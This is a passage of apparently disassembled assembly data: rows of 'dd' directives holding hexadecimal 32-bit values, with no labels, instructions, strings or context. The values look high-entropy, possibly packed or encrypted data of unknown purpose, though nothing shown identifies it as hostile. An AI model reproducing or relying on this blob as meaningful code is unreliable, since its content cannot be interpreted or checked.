		dd 0A457BECBh, 0F3FE317Ah, 3C5D28B1h, 955AB920h, 7BBCA2FCh
		dd 4009ED5Dh, 169F268Eh, 0EECB2513h, 45D54B48h,	926C6B3Dh
		dd 0E2FB3E94h, 12B117D5h, 0A459494Bh, 335EA051h, 0F8840D0Eh
		dd 0C17BBD13h, 6F55F479h, 0A83E2ECDh, 5B5F1631h, 0F31B8CFEh
		dd 53AEE91Ah, 0C305750Fh, 6833D0BAh, 0E7A928B9h, 0EE2229Eh
		dd 494384C7h, 0A04D7E29h, 345E5C08h, 12419E54h,	6E1C1h
		dd 0EAB421EEh, 0CB4A09B2h, 0A3E039B8h, 77022770h, 2FDBBA52h
		dd 23D540B9h, 4EBD80A0h, 4C875503h, 0D157F581h,	0F12B3B1Dh
		dd 5E87BBDh, 0FEA24312h, 49821588h, 280731A9h, 0A5668E04h
		dd 2ECCE15Bh, 2C641BF8h, 6A0EC89h, 1B8748DDh, 15CFA0Eh
		dd 2114CF92h, 0A833E9D6h, 1725D15Dh, 6212FC52h,	0B8007B1Fh
		dd 4EE616ABh, 0A4D0BB4Fh, 272910B9h, 0A0773575h, 0BD7014B6h
		dd 0B249F068h, 28419756h, 1E33F64h, 0B2517901h,	0F8EB3118h
		dd 469F0446h, 96B427A5h, 0EB881DD9h, 0F5C02767h, 0B17EC5D3h
		dd 129A66BDh, 0F32303E9h, 0F0B01AA1h, 0EE587734h, 89DD549Fh
		dd 0D54651EBh, 44276815h, 0B854281Eh, 0E578C230h, 901F2F6Bh
		dd 0FD0C251Ch, 2D004B72h, 810D021Eh, 1F58EDE1h,	65492E48h
		dd 595B6650h, 600327FEh, 86134F1h, 0EC4B00BFh, 27ABF786h
		dd 5C6245E9h, 0F5AAB277h, 76BA61E0h, 202EE916h,	3F276CE6h
		dd 0DB9780F8h, 0D82D40A4h, 664B8371h, 7400BF8h,	61519D5Bh
		dd 0C341DD69h, 0C3122EA1h, 296883F0h, 9E8B057Ah, 6AD34051h
		dd 49595DAAh, 0AB351690h, 17AE8B72h, 5052A933h,	1405F431h
		dd 0C2013F19h, 2B5309C0h, 682C0B4Fh, 767E54E4h,	3DFA4593h
		dd 30E37F55h, 8436F9D3h, 0AB10AB77h, 1603CB1Dh,	0E8C4AB72h
		dd 0D75B080Bh, 0B743608h, 147263E8h, 0C1D78524h, 0B33F7980h
		dd 0C17BBE2Ah, 0E9EE310Bh, 5E2B64FEh, 86E0516h,	0C8011D02h
		dd 23078A2Dh, 83BEFD25h, 8F1FDA0h, 302D55Ch, 9E68F7EAh
		dd 5A53E14Fh, 0F7C1FC72h, 0CBDA31D3h, 613A0950h, 2F820B16h
		dd 0A05D08FCh, 6A452681h, 0F51CADBBh, 7BFD719Ch, 0E90BA8F6h
		dd 2671E147h, 6ADE6805h, 49C3CE44h, 1C1DE852h, 0D52D16BEh
		dd 15E12DB3h, 0EBC150BDh, 54582116h, 0F96016B1h, 27CBCBFEh
		dd 5E12DF77h, 0FDE5025Fh, 5DBB0076h, 0BEA07423h, 0E09D5AD3h
		dd 48FF3F9Eh, 890E428h,	4E41A64Eh, 0ADF32381h, 8280AA04h
		dd 98DA3096h, 0A84F4F69h, 4E94F7D2h, 28C5B70Ah,	9CEF4B61h
		dd 0D02D680Eh, 5068DC2Eh, 434F72E9h, 5922F30h, 0ED024C57h
		dd 0C2498232h, 0FD9CCA55h, 0B03899FBh, 59C52569h, 0E21F4C4Ah
		dd 0EF49CB12h, 0DF0C7732h, 51509DF1h, 70680455h, 0C1674B47h
		dd 0A56CED27h, 0F841F70Fh, 149731CDh, 951BB2DCh, 0E9500460h
		dd 0EA125675h, 0DA1019E2h, 55BD4F36h, 1709E603h, 0DBF12B66h
		dd 78BC7BB3h, 364BB8A8h, 0D9B14932h, 85572D07h,	51035E01h
		dd 85099268h, 9346A3AAh, 47B5FCFCh, 99E085F1h, 8B82D45Ch
		dd 0C426C23Fh, 0A2C3209Ch, 73B85D4Fh, 6732AAF4h, 30A9C031h
		dd 36592DE9h, 1FA4A259h, 0D508E809h, 8ED9AEBBh,	32712363h
		dd 25394166h, 0C3E8D45Eh, 1309E1A3h, 0F30ACE68h, 571703DAh
		dd 0B86350Dh, 0C40C0090h, 0FC146A03h, 0E0612C22h, 0B7E102A7h
		dd 17C1C94Bh, 0FD006A25h, 6E141DBAh, 0A1A590A9h, 0C9729F82h
		dd 342CD73Ch, 0E5C185CEh, 7A27C203h, 3D78DBFEh,	5B32BF5Dh
		dd 62EB6480h, 98C01841h, 227C3EC7h, 0CA8AB849h,	0A5B3E250h
		dd 16FB34FFh, 5621AFE9h, 2063A558h, 7F4F2635h, 591B0527h
		dd 0C00CB0B0h, 7C1CEE79h, 82C71305h, 23310D47h,	0BF3A1A03h
		dd 3504B500h, 0B0E94E74h, 0B84A0B63h, 0AC43A63Bh, 226C38D1h
		dd 0AD7E05BDh, 4DBE0D3Dh, 0DA1D1A95h, 6E0279FEh, 0F67B1E20h
		dd 2050347h, 0EFC52E2Dh, 2507E310h, 5012D65Eh, 0F64BB6E9h
		dd 422299AEh, 0CF8E71Ch, 5AF38805h, 5882B151h, 5FA4D852h
		dd 2231FB5Bh, 0E67B7654h, 49D7391Dh, 92E9B08Dh,	0BB5EB7A7h
		dd 659571A7h, 0C0B78B52h, 0E9C8AF0Fh, 8BBE5509h, 0A969C23Eh
		dd 54A942F5h, 0A3DE2D65h, 1A42C58h, 0B252D828h,	7C83E964h
		dd 0FB5A3Ah, 6026CF35h,	0F7EC3C5Dh, 68E41F04h, 0BDEB014Bh
		dd 8EB58482h, 502EF7AFh, 274EB89Ah, 0C5D009E2h,	0FB205D05h
		dd 0FDE1EE58h, 405B17Bh, 0FD31330Bh, 5B5B38BEh,	0D55203FBh
		dd 0A0BD1F6h, 4049E967h, 170FB858h, 804CE10Eh, 0EC85A501h
		dd 0D9B19C5Bh, 7C77683h, 0FEC80580h, 8FBF41E9h,	27F8D3B4h
		dd 5124348Bh, 0A75FB85Ch, 0FDEA02F4h, 518AD355h, 5B09DD42h
		dd 9F5056E9h, 983A1895h, 0B2719760h, 4B33F6E3h,	5274E430h
		dd 46FEE090h, 20059125h, 746AF1E3h, 7A89E619h, 0B16127CAh
		dd 92A3137Fh, 0F06C46E3h, 6EA04C4Eh, 0BA036494h, 46EC6EDDh
		dd 0A76097F1h, 903C583Dh, 11051839h, 0F2880C1Ah, 5AB7E3F0h
		dd 44664D92h, 0DBB0500Fh, 0D6361EF7h, 5F6D80D8h, 4D4BB668h
		dd 760415B3h, 83473A49h, 34FF8C4Bh, 84E8BAB8h, 0D042E984h
		dd 4E36B9D3h, 2548533Dh, 2726DCE4h, 0E8A9E5D5h,	0BB324BA5h
		dd 78B010D2h, 502CFD40h
		dd 400F0ACAh, 0E30481C6h, 0E887B93h, 1B2929C0h,	9EFA4978h
		dd 0A622B15Fh, 410C1118h, 98210C4Ah, 0E97F09F0h, 0C6F782CAh
		dd 0A5964904h, 4FD99B4Fh, 17E17CF8h, 11B97B87h,	0B19FD84Ah
		dd 0C605F79h, 266F6052h, 0CF4B01Ch, 7D296AC4h, 5F16310Ch
		dd 0CAEB3343h, 2BE98F7Dh, 68841820h, 0F3554EB9h, 310230A9h
		dd 0E7CF2959h, 40797B37h, 0C33780ECh, 0BCB3AD4Ch, 5A162561h
		dd 9F20ABDAh, 0CE283B84h, 0EDC99497h, 0CEF85B63h, 5BE5600h
		dd 0E9792C46h, 64C89825h, 0C07EA3C9h, 9F149942h, 7CBEB200h
		dd 180CAC12h, 0F646EED1h, 66750252h, 4E3CE914h,	20087975h
		dd 92814AC6h, 0E5D4C5F7h, 95A1E9F0h, 80053204h,	597E8CBAh
		dd 1F00D196h, 6813EB17h, 31194EB0h, 6F520C64h, 0EB10668Ah
		dd 0B5BE2406h, 75324C6Fh, 21F31DC6h, 12566D5h, 151E5588h
		dd 8788EE01h, 4291E08h,	0EE5705E9h, 4404B056h, 0F0ABDD8Fh
		dd 3F02C75Bh, 0E91DE06Dh, 718D693h, 825AF580h, 0FBED7E12h
		dd 15483390h, 5776DD20h, 0F280065Bh, 2D1008BEh,	745945BAh
		dd 7037813Bh, 319EE966h, 6DEAC781h, 3A41F349h, 87D10BEh
		dd 0B278552h, 0C65EDA86h, 4E276A73h, 48807D2Dh,	0ACE9D001h
		dd 0D5DD0B97h, 0A53FF965h, 0BBC2008Ch, 72BD5217h, 9C460572h
		dd 0AD29F19Bh, 1E9D043Dh, 0C1ABC07Eh, 71EF016Fh, 0D44C35F3h
		dd 289C314Ch, 0BF20BD8Ch, 0F8D128EEh, 0F18919AEh, 3F821C5Eh
		dd 8A3113CDh, 0BBB1162Fh, 9D9F5761h, 8681684h, 93FAA630h
		dd 4AE974CCh, 3B9FF1FEh, 0FB2D88A6h, 68AFD009h,	0E714810Ch
		dd 98DD8880h, 9CE2978Fh, 52DCFF7h, 560F3C68h, 1BC40046h
		dd 0BD4D0B29h, 0FC0B196Bh, 0F5562FE4h, 76FAD7C9h, 9230B825h
		dd 0D9545500h, 0F14D5442h, 205FBDC1h, 113BD29Ch, 0A70C666Eh
		dd 0F58B8334h, 80B4C42h, 570779DCh, 0E5C069ACh,	506B7DEAh
		dd 13A89721h, 1244E8E6h, 0EFF5FAB7h, 1480C7C0h,	8C5864EFh
		dd 792A8A3Fh, 7C5342C7h, 1BE235Dh, 2843E281h, 0AF684B6Fh
		dd 0CD3F213h, 5A8EEEDEh, 207F398h, 6817417Eh, 0E3980664h
		dd 0C8B44A5Fh, 0E70EC535h, 0C30D297Dh, 0B20533F5h, 0E99C8123h
		dd 0D32B3F16h, 0CCE8EA5Bh, 0C24F896Eh, 0F26DFF22h, 9E7A9D5Eh
		dd 8CF7829Fh, 0C2A6F6FCh, 0AC980E07h, 21442EE9h, 22C0AC3h
		dd 94A6362Ah, 0A05A08EBh, 426A0F6Dh, 306482Bh, 7016925Ch
		dd 9CFD9737h, 0D1992F6Ah, 6809F871h, 0A5F1AFF2h, 0B2EA85A6h
		dd 2FB31A4Ah, 0C299730Eh, 51F0EF31h, 94B0F85Bh,	38986044h
		dd 0A97F682Dh, 12ED9DA0h, 0C54B2A25h, 5BE98553h, 0DA55D83Ch
		dd 5BDB940h, 52712F43h,	88BB0929h, 56772642h, 0E0559414h
		dd 541689D0h, 0A92D16Ah, 0FB1B34DBh, 38701D01h,	11685055h
		dd 0FD7FB6D9h, 0B5944CFEh, 0FD48290Bh, 994F71C4h, 1E939C4h
		dd 80B3BEF5h, 0D45A5EC9h, 88EB664Ah, 51BFEBD6h,	0FC44125Dh
		dd 0F4DA4DFFh, 5A73ABA9h, 8E7EC1DDh, 589E88E0h,	0E60F4905h
		dd 89123D08h, 5E3B7E1Eh, 8BD8BC0h, 724D2E46h, 0B792BEF4h
		dd 7704B98Ch, 0A84504Fh, 0CEF52CFAh, 0B19A1058h, 33819F5Eh
		dd 0CF5DD2F5h, 4DE4604Fh, 0F647782h, 2D1D7097h,	325FF49Bh
		dd 9372D73Fh, 47B86398h, 0A8685909h, 927D594Ch,	7EA31C11h
		dd 0F10BB840h, 15B562h,	7D758B50h, 0C650B574h, 55D8F707h
		dd 6DE16856h, 293F4164h, 1AB46B38h, 0AB28516Fh,	16701920h
		dd 0EA62F540h, 68FD2A41h, 0C3784BF6h, 0EBE17518h, 6409E0F3h
		dd 84F70DADh, 0B081E333h, 0FA048D94h, 90C57504h, 5CCBAFF9h
		dd 0F946DD29h, 7E4DF198h, 610B8446h, 501F6802h,	0C71AB3A2h
		dd 27A33C7Fh, 663A3BA5h, 94AEA62h, 116B04DCh, 0E91101F0h
		dd 0DD073F55h, 0FC24B5Bh, 62AE7C04h, 0BD002EDEh, 7A0E22ECh
		dd 0EAC22C5Dh, 0C9DA9DDBh, 6C2B581Ch, 5057A7Eh,	0C0C26923h
		dd 77F8EAB7h, 7AF16F5Eh, 0B9D6846Eh, 1E3D234h, 2767E91Ah
		dd 0C8E50482h, 425B59FFh, 59F7A771h, 0B9516057h, 8B3E1ACFh
		dd 0B7F10239h, 0DD4F6A73h, 8C0493DAh, 29891E96h, 0C6C0B9AAh
		dd 659328Fh, 0C36AD3BAh, 0B863FA36h, 8188C987h,	99306D68h
		dd 93CE276Ah, 500C1E5Ah, 867727E9h, 0F3DCFB88h,	955FACEDh
		dd 68F4A602h, 6C8235D1h, 7D3A203Ch, 704869C1h, 52337F2Bh
		dd 0D3E61490h, 0F1289B81h, 902E4A62h, 0C6A775Fh, 0F029BD12h
		dd 298AD211h, 5625FABAh, 0CD554956h, 8392B25Ch,	6813C2F0h
		dd 0E98C3F25h, 0CA6F0561h, 98FA3151h, 89B65F3Ah, 90505D54h
		dd 5B71B892h, 0AC811308h, 7A630BB6h, 68785156h,	0E97040ACh
		dd 0BEA52260h, 5B8D7D55h, 53E98027h, 62E8E6BBh,	0DE31070Ch
		dd 1406185Bh, 78EAE94Eh, 27BEF602h, 0ED602219h,	0D02F213Ah
		dd 68F86115h, 7F762CF5h, 0E9180222h, 0B076E85Dh, 818858CDh
		dd 0FBC2D112h, 0C15F01DCh, 0E1210E88h, 73022F0Dh, 0E00CFE7Dh
		dd 5DEF513h, 6AE91B9Fh,	0E28DFA73h, 12989C60h, 0AE3ADC6Dh
		dd 27FD9B01h, 660150C2h, 0B074CE3Ch, 0D9426581h, 132E5B70h
		dd 9278FE1Ah, 0BE3C40C1h, 402DD406h, 0E7EE29E2h, 4C38B27Fh
		dd 0DD8E6B59h, 1245865h, 0F1CC4A3Dh, 12561FE6h,	0F79E496Ah
		dd 0F36056FCh, 2751D641h, 2DE80107h, 0AD276857h, 58807466h
		dd 674DF6E9h, 96DD3BD2h, 75AE5740h, 6CBF80E9h, 0D0B771Eh
		dd 7803E0C1h, 824EF8BFh, 0B3C9E407h, 0DA4C899Ah, 0BDE982C5h
		dd 8B9465DDh, 0E9DDA41Ah, 2F113CCDh, 0D2623A2Bh, 0F21BDD37h
		dd 6F0464FBh, 92595DE1h, 0B20581ACh, 0BBF97D67h, 875A5B04h
		dd 30D72C03h, 31FF82FCh, 880FB571h, 0E04E4BD5h,	0D3F62Ch
		dd 28FDB450h, 0EB8058E3h, 0AB82F94Bh, 126B7486h, 0BA7FA5Fh
		dd 0E983B994h, 0B5274692h, 282359E6h, 7674052Dh, 444D5164h
		dd 0A6D9C4B4h, 0DB5B2D50h, 0BA60862h, 4F0CC728h, 0C730E07h
		dd 9A1C1306h, 5C160821h, 1E82B034h, 13087432h, 0C669F25Dh
		dd 0B52E2A7Fh, 4C402FEh, 0FA2A6F44h, 57D96D31h,	0DEC02E68h
		dd 0E914505Fh, 2AD6F8B0h, 0E9746CBAh, 0A01D2C25h, 3950C8CDh
		dd 81089A36h, 0B2200D88h, 5CC1B054h, 5C81FAACh,	0EC3E2063h
		dd 0BA800CE7h, 232A0022h, 98CA8130h, 3D0B5A21h,	0F454DFE9h
		dd 8D99BBA0h, 6EE893A2h, 45C92CA1h, 0F991C004h,	214C5107h
		dd 4A14179h, 847A8708h,	0E124AF63h, 97BFC784h, 0B7039B51h
		dd 9F06B3A2h, 316765E1h, 28C325B4h, 0D20808F9h,	0D9870F29h
		dd 54A964C9h, 2C894276h, 0A5E4DDA8h, 4AE8567Ah,	3EEF9FC0h
		dd 0BC1796DFh, 985E1494h, 8007EE05h, 1837802Ah,	47583367h
		dd 0D4D0186h, 91E9720Ch, 0EFCE162Ah, 4A492CCAh,	1026680Bh
		dd 28982130h, 812D540Fh, 0CC5F2EF7h, 38C1827Fh,	0D13B7C50h
		dd 0C3FAE90Ch, 0C92CC7F3h, 6388C958h, 0C180026Dh, 18E330A2h
		dd 0E287C7B7h, 0F4557585h, 0F1C3C644h, 23E37F90h, 0CCBF4EE4h
		dd 62C5B958h, 7DC327DAh, 0C2631CAFh, 9BCACEFDh,	21EF2C7h
		dd 0A6A5AD0h, 7AB3CD82h, 2B39A5Fh, 763FFEF8h, 0BBA7BB9Ch
		dd 0F103D142h, 0D10362EDh, 0F4EB3C2h, 0FEFCE47Fh, 0A9202A58h
		dd 0F3015913h, 228CD9EAh, 12825897h, 0FB657A0Dh, 422828C1h
		dd 0EB250569h, 0A230E0F7h, 0AC16CE73h, 0EE9C51C4h, 209502B3h
		dd 2875CB13h, 229D5F93h, 0FFDC4500h, 934225DBh,	2E946C28h
		dd 43D04499h, 1D3E8703h, 0EC9A92E2h, 4271C9BAh,	170E84E5h
		dd 0EB4D0A8h, 0EA6151BFh, 41C2FE53h, 30289DCDh,	0FD5F13FEh
		dd 9E4E23A2h, 41E91AC8h
		dd 847955A5h, 0C051E843h, 0B8E0D168h, 0A02F9ABCh, 98FEEB53h
		dd 0EFA54EABh, 0AF4B42CAh, 0EFDB5688h, 8AEE8100h, 0FE9D5027h
		dd 60236069h, 689577A8h, 8037FAC9h, 273E8C05h, 0F740382Dh
		dd 5C161C25h, 58C106DCh, 22093C55h, 82647710h, 0E0676DE1h
		dd 735AD5C0h, 204D2F7h,	1FEE2F28h, 53C27AE2h, 0D71A39C0h
		dd 0FAECBA28h, 93ED9BDh, 0B9DD8CB5h, 0B26B518Eh, 381AC077h
		dd 30E923F0h, 0CBDB583Ch, 60E21298h, 0B44A4690h, 41067BE4h
		dd 53FA2AF5h, 8DBD05CCh, 6241AF46h, 0F5109CFh, 8E4097Eh
		dd 76A91CE3h, 0D7896A27h, 4744EE83h, 57F36972h,	7640BBD5h
		dd 0D827D7F6h, 0A05D9F37h, 0E1885A67h, 0CF302D58h, 0C7C35BD6h
		dd 0F6E79987h, 0E90BC16Bh, 95F725Bh, 0FFFFCEBh,	0F9956650h
		dd 0B7E61EDBh, 0E05BD472h, 69D11308h, 34C1F120h, 2E7E2B71h
		dd 7718C3FCh, 0A95C4E01h, 0A10841D8h, 2303141Ch, 5599A41h
		dd 0D94C2124h, 3576C218h, 0B468BBC8h, 459A6274h, 75A210C4h
		dd 522D1408h, 4F59321Dh, 0CAD7C6A7h, 0A1BFE664h, 0A4579828h
		dd 0FD26CD52h, 65D9D59Ah, 63A7B08h, 2F88CFE9h, 212AB645h
		dd 2A4A7566h, 4F06D7CCh, 57F1C81Eh, 0D26C9B9Dh,	0C35DF4DFh
		dd 5000B7CEh, 8438E8BAh, 58D1894Fh, 0FE075E5Ah,	606DDE09h
		dd 0B59F2C9h, 9D41543Eh, 8FC2F7E9h, 0B3CB015Dh,	0F6B0EBE5h
		dd 13579FCFh, 0A2ABECBDh, 0C7FCE5F4h, 0F8BB1h, 270D4AB8h
		dd 0C0F06FD6h, 2205FAA0h, 3FF24800h, 6A914E2Dh,	87014ACDh
		dd 0ADF41B7Bh, 0B1C6F684h, 12B3C187h, 0BBA34EE2h, 56E99467h
		dd 2E666624h, 0A4BE390h, 29EAF684h, 28B82A90h, 2C78E9B1h
		dd 64BB02C4h, 4079C008h, 0F8F7A030h, 5FBBB886h,	0DC4697DEh
		dd 0D179E40h, 0C32C30D7h, 0F9E91257h, 3261E7EFh, 0C8826D13h
		dd 0B5D6F6BEh, 0F03BB069h, 91B58316h, 0CAF9C20Bh, 87D4A3FBh
		dd 0DD35E923h, 7FAE8F20h, 5B56E4BFh, 4860F59h, 41EB5A70h
		dd 6323D801h, 7BCAFB78h, 711779FAh, 2FE921Ch, 0AE4C2DD7h
		dd 0D07FCCC0h, 12C9C388h, 0BF5BDE30h, 0E913B1B3h, 3588B058h
		dd 0D35E0500h, 0F1254869h, 4D5B3D5Ah, 0E4A51679h, 0B713AFB3h
		dd 0AC6AE9CDh, 0A380E46Ch, 4BD44CE8h, 68938128h, 0D2603A3Dh
		dd 0DCC9E950h, 0F987A42h, 0E2860A25h, 0EEB8CAE4h, 0FF97627Eh
		dd 905E2AB1h, 0C033CE2Ch, 2F9980C8h, 2A683130h,	0E0DF66FFh
		dd 27B9B35Ch, 93BC8E45h, 0FD4CA20Bh, 0D0D73BBAh, 5401394Dh
		dd 975E2927h, 0BB260A48h, 0BC06142h, 300A02DDh,	200372E2h
		dd 3E987C1Fh, 59FE8180h, 221E3958h, 0E5C1142Ch,	0C45AEA06h
		dd 0C428E66Ch, 839480E9h, 0B5A2DAC6h, 0D969DDD1h, 6C509882h
		dd 0C6976147h, 52712002h, 424E682Dh, 82E6CE17h,	282D61ABh
		dd 0C70E9629h, 144223BFh, 0F3C2DF01h, 0EE290805h, 75DA6891h
		dd 585B5220h, 68043E51h, 0EF71B734h, 0A5CD724Fh, 31F45E5Ah
		dd 0EE6F13C9h, 0FA6A522Fh, 0D0DA28CDh, 34AB856h, 0B0505323h
		dd 6E7A8852h, 0EFFAD7E6h, 0B1AECED2h, 0E82C6EA8h, 0E82F4FB2h
		dd 507E5842h, 0AD5E41BDh, 0A55845A7h, 74D1E22Dh, 31800596h
		dd 0D3766CB8h, 7945FA9Eh, 0D5958048h, 0E9F065F8h, 71BD23B2h
		dd 6A32C99Ch, 0A30E4875h, 5366BF5Ch, 0D76A522Bh, 2D26A908h
		dd 68618B7Dh, 80428DAEh, 40FCE821h, 8612D1Ch, 7842E017h
		dd 767D3E68h, 54CE676Eh, 0B28EBF2h, 0D4459559h,	0D51621C5h
		dd 335655FCh, 4480680Bh, 3055789Ah, 0B75EF23Ch,	0D44B3094h
		dd 0BB5B95FEh, 5CC722B3h, 246009E9h, 5D4E0268h,	0D91063A3h
		dd 10014849h, 291298FBh, 0B54717F7h, 0CFB8FB55h, 0B7185A7Bh
		dd 2B704F22h, 0E7842DD3h, 0FD892BFFh, 0EB66208Eh, 0E91BDB08h
		dd 0F0A34B13h, 5C4859C0h, 0C207DB02h, 0C00FA03Ch, 0AC71DCF3h
		dd 0D6182060h, 0B038E478h, 0BDF40C27h, 0EE6E3EB1h, 31591913h
		dd 82750BAh, 66F75B1Eh,	0E9050386h, 0BA8472D3h,	0EFE52CFCh
		dd 0F2591128h, 62766431h, 6E27C377h, 2B1EA04h, 85EB6201h
		dd 0A2D5EA84h, 0E2E4D901h, 0D5FE4BB4h, 0FE21DDB0h, 53C0E913h
		dd 0A4C0BCFCh, 52166772h, 0E91BFAF2h, 8320C44Fh, 5957B9CEh
		dd 0B11EA323h, 0A16392A6h, 6BD2F63Fh, 136B3509h, 5F97892Bh
		dd 0C82A4C4h, 3EACC7DFh, 314E22A0h, 578B6CBDh, 22709B8h
		dd 64472097h, 24226142h, 205DCE01h, 0E639D08h, 288910C4h
		dd 820FB006h, 0C544DB31h, 39B28FCAh, 61369C0Bh,	7823152h
		dd 89D7745Fh, 8E145A51h, 587518CBh, 0E89BD2BAh,	36ADF4B1h
		dd 6F38457Ah, 97E93E7h,	4E9948AEh, 33C96903h, 3D4284Ch
		dd 0D8285975h, 0E9C18C5Bh, 0E573C08Ch, 120B552Eh, 0BE8F56B4h
		dd 0CC6B7B29h, 964EA246h, 8BF52121h, 6873B900h,	3105F80Ah
		dd 0C500E1CDh, 8372F2DDh, 623CF02Dh, 791E7822h,	0F6E2D000h
		dd 0EA803FDAh, 0AC46302Fh, 0A2291120h, 0F70A644Dh, 0FE2EFCD5h
		dd 78549162h, 0C86AE7D9h, 11BF3E6Dh, 0B43AC5A6h, 60FF5F3Fh
		dd 671415A0h, 58E6653Dh, 0CAE7047Dh, 12EB9621h,	5CEF0C97h
		dd 2DEEC67Dh, 5A7EC827h, 79088251h, 63766BFCh, 14B0FE65h
		dd 88531C51h, 5BF98FE7h, 0E4012185h, 5E1E4A79h,	9DD62A28h
		dd 0B86EA0h, 1B2D332Bh,	0B64D7B35h, 520D411Dh, 8119C88Fh
		dd 60B95ACAh, 25ACE7D4h, 85D7D6B4h, 79D2D390h, 8976FE5Eh
		dd 18556185h, 4E5D684Ch, 1298E35Bh, 3780E4h, 0C67A3C82h
		dd 0A4BB0460h, 0C149B65Ah, 0E453526Eh, 74173407h, 52178906h
		dd 44632CBEh, 0E545C566h, 0A740932h, 0D15240D9h, 1C66C620h
		dd 2412C480h, 30A43A20h, 606C40C2h, 98F67CA5h, 0EB8BA295h
		dd 3D43FF5Dh, 8BD553DAh, 0EB7FD1A6h, 0E95E4C05h, 2C7D1D29h
		dd 0EE074D10h, 0C4646CEDh, 6B90EBEAh, 0B6800AE9h, 93E269B9h
		dd 5915F95Fh, 95012F82h, 0D0F62DB0h, 97B1331h, 5D625F90h
		dd 0EDFF6F2h, 3BBAC8h, 3C5E5B68h, 42505A4Eh, 7B162393h
		dd 71F5528h, 60AF024Ch,	95209D67h, 11785FCBh, 8EBDECF3h
		dd 2AA27797h, 5402AB7Ch, 213CFD5Eh, 3CD2E912h, 0A6D221E9h
		dd 1F781002h, 5A391748h, 2DC1EB92h, 19E47E75h, 0BEE6B7A1h
		dd 0E7305795h, 36260E9h, 0DC3FF5F1h, 31727C54h,	31EEB8D6h
		dd 725D82D6h, 0E1B99602h, 161A1510h, 1580D8F7h,	60613290h
		dd 7A730A0Ah, 0CB000568h, 3110E203h, 637EE9C5h,	5455EE39h
		dd 9F802BAh, 0EBDAF195h, 74772C1Ah, 0DD89AFADh,	0E912D63Eh
		dd 0E6ABCF91h, 38680B38h, 0C2A6F97Fh, 245750BFh, 9DC25ADFh
		dd 9FFC840Fh, 1822EB12h, 2DF15C8Bh, 778CC9F1h, 0BEB3D25h
		dd 8857C50Ch, 5BDBC055h, 0DD013D78h, 2D086828h,	0EEDB295Fh
		dd 945AFF3Dh, 2C25B6F9h, 5D69A6EEh, 0B2310529h,	2E58CDBBh
		dd 43FA2149h, 37976984h, 4CA372D7h, 6431D750h, 0D4ECBF0Ch
		dd 0BD071DA8h, 90C4B009h, 0FF6F86F2h, 13E3820h,	0AFF617CCh
		dd 2DAEBC5Fh, 788AF943h, 0D5F713F5h, 392A20B4h,	1CC0445Dh
		dd 54D49917h, 883AC3B1h, 4ED8E937h, 1ECABF3Ah, 8B0C3341h
		dd 848ABFDh, 5EE85A2Dh,	0E60681ECh, 0BCE9070Ah,	0C18488CBh
		dd 2DBEB8E2h, 685AF12Eh, 8EAB244Ah, 37F44BEAh, 0E6265B42h
		dd 72688374h, 0F8EF842Ah, 0A3BEE52Ah, 78C02C26h, 616ABE81h
		dd 0DE9850E4h, 37428207h, 0B2968898h, 0B014E905h, 0FA04D0F9h
		dd 0AA56AB72h, 5D0442EDh, 0A34AAF68h, 0DF191090h, 0E2E58101h
		dd 703A8F28h, 1658D96Dh, 1CE90B9Ah, 287E596Ch, 919A54A6h
		dd 1E30BB9h, 88FE4AC1h
		dd 5CE2EE82h, 9B9982F1h, 0AF9C0D9Eh, 0CF42C1Ah,	5B2E3C0Ch
		dd 4C8249CEh, 2C9527DDh, 0ACFD5489h, 0AF842C26h, 0A654D6F4h
		dd 0AB681693h, 0EEADCC2Bh, 49EAD6B7h, 0AF5898D4h, 0F9DE2DE9h
		dd 0D2FA1F1Ah, 1F11E72Ah, 415ACEF0h, 59CF54E3h,	90F5710h
		dd 4288E9C1h, 0DF6C7759h, 1976D6A0h, 409DCD7Bh,	251732B0h
		dd 0CF707BFAh, 560806C6h, 1311F450h, 0D7894BD0h, 9C4A31A8h
		dd 3F082563h, 7AB8D603h, 0C60C0434h, 0B815D910h, 3BB14ADFh
		dd 0B21EEC3Eh, 5B71565Eh, 0E7B8D83Fh, 68B5E917h, 0F9F84FFAh
		dd 0F9CC3A04h, 56910ED4h, 0D5292B6Fh, 0E904C865h, 5CC9E713h
		dd 6BCFA86Bh, 0DB4B5D0Ch, 0E7B0AEE5h, 31EA27E9h, 2FD8E3Ah
		dd 5F6E6648h, 6C251247h, 0C6B6279Eh, 0F3023AD7h, 4AD813E3h
		dd 62565F2Bh, 0E22039D9h, 5C52070Ch, 0FBE7862Fh, 2925AB70h
		dd 0E79D7CF5h, 0E3FD2BEFh, 252283A4h, 90575E28h, 1BE56C5h
		dd 379D08C0h, 9210B3E9h, 0F2BEC25Dh, 5EE9F09Ch,	39D59780h
		dd 0A96F5208h, 66EB82CDh, 0EE976020h, 8F5709B1h, 9084555Bh
		dd 83AD02B2h, 0F48E07Fh, 0DC8E3084h, 1B306816h,	4512179Bh
		dd 5017A7BAh, 7B5B01B9h, 0ABD386A3h, 12D451E2h,	0BE87D5B1h
		dd 47CE1FCDh, 83F60A70h, 46681539h, 0E87D4516h,	0D706C4F2h
		dd 0EC36C45Ah, 5D582FEFh, 11684110h, 5F9F0D70h,	739E7738h
		dd 51A5797h, 431AFD54h,	5FDE5F66h, 0C3678650h, 2A4ABA9Fh
		dd 248DCAC9h, 1870B480h, 644FE77Ah, 0F5EBE192h,	0C156CD29h
		dd 75CA2609h, 6AA8425Bh, 90512920h, 0D33B056Ch,	0EA55D6CBh
		dd 4BBB99B4h, 0C4D28D20h, 715E3E17h, 3E0E2AAEh,	0F9E9835Ch
		dd 381FA579h, 7A92540Ch, 8BA7484Fh, 0C5FBB916h,	73F3BBA3h
		dd 263CAE5Ah, 3F6A2CE9h, 93596793h, 4E02A562h, 8FE6B7BEh
		dd 20635F5Ch, 0FAD2129Dh, 17A353F0h, 103E786Eh,	0C3028650h
		dd 18197D42h, 0DBE286D5h, 1B9EC408h, 43F116E4h,	0E12DAF3Ah
		dd 0F3BA020h, 5F7FF879h, 0C002E785h, 0E1E4E8EBh, 1255FF4Dh
		dd 89FAACFAh, 3E5E2147h, 0DB6D704h, 83C4B8EAh, 27522968h
		dd 80C2AAE3h, 0D572137Eh, 7F498B59h, 1BE38480h,	0E9124211h
		dd 0A7F33AD0h, 622B4505h, 0DAF50161h, 2F7A5705h, 8427E2C0h
		dd 0B513B05Fh, 5445468Bh, 11FD25BFh, 0DFF24897h, 0FDAA619Ch
		dd 64C965F5h, 0A8F9BE54h, 4294FED6h, 0CBAB8913h, 1DEE905Eh
		dd 0F525E689h, 0C5D72232h, 419C92ACh, 3C1ABEB3h, 0C8F03AB9h
